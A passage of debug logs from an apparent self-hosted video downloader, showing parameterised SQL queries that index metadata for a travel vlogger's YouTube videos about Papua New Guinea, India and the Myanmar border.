VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "c6fe320b-2712-4c50-a772-bfb683a46d2b", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", 12, "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, false, false, 3, [], 98, ~U[2026-03-06 15:05:17Z], ~U[2026-08-20 01:59:37Z], ~U[2026-08-20 01:59:37Z], "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, 3, ~U[2026-03-06 15:05:17Z]] 18:59:37.625 [debug] QUERY OK source="sources" db=0.3ms idle=55.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:37.625 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:37.626 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18987] 18:59:37.626 [debug] Current batch of media processed. Will check again in 1000ms 18:59:38.627 [debug] Current batch of media processed. Will check again in 1000ms 18:59:39.628 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 1993, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", "id" => "sVlpZ6zLXh4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "playlist_index" => 13, "timestamp" => 1772204684, "title" => "Entering Papua New Guinea Alone in 2026", "upload_date" => "20260227"} 18:59:39.629 [debug] QUERY OK source="sources" db=0.2ms idle=846.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:39.629 [debug] QUERY OK source="sources" db=0.2ms idle=846.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:39.630 [debug] QUERY OK source="media_items" db=0.3ms idle=847.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-27 15:04:44Z], 3] 18:59:39.631 [debug] QUERY OK source="media_items" db=0.9ms idle=848.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "9a02c153-d7c8-456a-b111-9821d2e4a3db", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", 13, "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, false, false, 3, [], 98, ~U[2026-02-27 15:04:44Z], ~U[2026-08-20 01:59:39Z], ~U[2026-08-20 01:59:39Z], "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, 3, ~U[2026-02-27 15:04:44Z]] 18:59:39.631 [debug] QUERY OK source="sources" db=0.2ms idle=59.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:39.632 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:39.632 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18988] 18:59:39.633 [debug] Current batch of media processed. Will check again in 1000ms 18:59:40.633 [debug] Current batch of media processed. Will check again in 1000ms 18:59:41.634 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "duration" => 2973, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", "id" => "W4ZERiu8IMs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=W4ZERiu8IMs", "playlist_index" => 14, "timestamp" => 1769871228, "title" => "They're Lying to You About India...", "upload_date" => "20260131"} 18:59:41.635 [debug] QUERY OK source="sources" db=0.3ms idle=852.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:41.635 [debug] QUERY OK source="sources" db=0.2ms idle=853.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:41.636 [debug] QUERY OK source="media_items" db=0.3ms idle=853.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:53:48Z], 3] 18:59:41.637 [debug] QUERY OK source="media_items" db=0.8ms idle=854.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "a47c231a-8aeb-4c1f-af72-2d8331cf7e81", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", 14, "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, false, false, 3, [], 98, ~U[2026-01-31 14:53:48Z], ~U[2026-08-20 01:59:41Z], ~U[2026-08-20 01:59:41Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, 3, ~U[2026-01-31 14:53:48Z]] 18:59:41.638 [debug] QUERY OK source="sources" db=0.2ms idle=62.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:41.638 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:41.639 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18989] 18:59:41.639 [debug] Current batch of media processed. Will check again in 1000ms 18:59:42.640 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "duration" => 2343, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", "id" => "bBxtc-Tskto", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bBxtc-Tskto", "playlist_index" => 15, "timestamp" => 1769098339, "title" => "Overnight on Myanmar's Forbidden Border", "upload_date" => "20260122"} 18:59:42.641 [debug] QUERY OK source="sources" db=0.3ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:42.641 [debug] QUERY OK source="sources" db=0.2ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:42.642 [debug] QUERY OK source="media_items" db=0.3ms idle=1003.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 16:12:19Z], 3] 18:59:42.643 [debug] QUERY OK source="media_items" db=0.8ms idle=1003.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "7f8bc83e-9184-466c-aa75-9479dcec347b", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", 15, "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, false, false, 3, [], 98, ~U[2026-01-22 16:12:19Z], ~U[2026-08-20 01:59:42Z], ~U[2026-08-20 01:59:42Z], "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, 3, ~U[2026-01-22 16:12:19Z]] 18:59:42.644 [debug] QUERY OK source="sources" db=0.2ms idle=66.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:42.644 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:42.645 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND 